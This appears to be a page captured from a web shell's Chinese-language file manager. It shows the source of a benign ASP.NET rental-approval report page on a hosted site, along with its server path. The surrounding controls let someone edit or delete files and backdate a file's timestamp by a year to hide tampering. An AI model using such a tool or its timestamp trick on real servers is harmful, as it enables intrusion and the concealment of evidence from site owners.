文件操作 - RentalApproval.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\ReportsApproval\RentalApproval.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="RentalApproval.aspx.cs" Inherits="HowellWebService.ReportsApproval.RentalApproval" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="../css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <form id="form1" runat="server"> <div style="width:100%; margin-left:10px"><h4> Rental Approved Report</h4><hr style="width:100%" /> </div> <div style="width:100%; margin-left:10px"> <div style="width:5%; float:left"> Name </div> <div style="width:10%; float:left"> <asp:TextBox ID="txtName" runat="server" CssClass="form-control"></asp:TextBox> </div> <div style="width:5%; float:left"> Start Date </div> <div style="width:15%; float:left"> <asp:TextBox ID="txtStartDate" runat="server" type="Date" CssClass="form-control"></asp:TextBox> </div> <div style="width:5%; float:left; margin-left:10px">End Date</div> <div style="width:15%; float:left"> <asp:TextBox ID="txtEndDate" runat="server" type="Date" CssClass="form-control"></asp:TextBox> </div> <div style="width:10%; float:left"> <asp:Button ID="BtnSearch" runat="server" Text="Search" CssClass="btn btn-success" OnClick="BtnSearch_Click" /> </div> <div style="width:10%; float:left"> <asp:Button ID="BtnExcel" runat="server" Text="Excel" CssClass="btn btn-default" OnClick="BtnExcel_Click" /> </div> </div> <div style="width:100%; margin-left:10px"> <hr style="width:100%" /> </div> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="Name" HeaderText="Name" SortExpression="Name" /> <asp:BoundField DataField="StartDate" HeaderText="StartDate" SortExpression="StartDate" DataFormatString="{0:dd-MMM-yy}" /> <asp:BoundField DataField="EndDate" HeaderText="EndDate" SortExpression="EndDate" DataFormatString="{0:dd-MMM-yy}" /> <asp:BoundField DataField="Amount" HeaderText="Amount" SortExpression="Amount" /> <asp:BoundField DataField="ApprovedAmount" HeaderText="ApprovedAmount" SortExpression="ApprovedAmount" /> <asp:BoundField DataField="PaidAmount" HeaderText="PaidAmount" SortExpression="PaidAmount" /> <asp:BoundField DataField="Remarks" HeaderText="Remarks" SortExpression="Remarks" /> <asp:BoundField DataField="SubmittedDate" HeaderText="SubmittedDate" SortExpression="SubmittedDate" DataFormatString="{0:dd-MMM-yy}" /> <asp:BoundField DataField="ApproverRemarks" HeaderText="ApproverRemarks" SortExpression="ApproverRemarks" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="SearchApprovedRental" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter DbType="Date" Name="StartDate" /> <asp:Parameter DbType="Date" Name="EndDate" /> <asp:Parameter Name="Name" Type="String" /> </SelectParameters> </asp:SqlDataSource> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件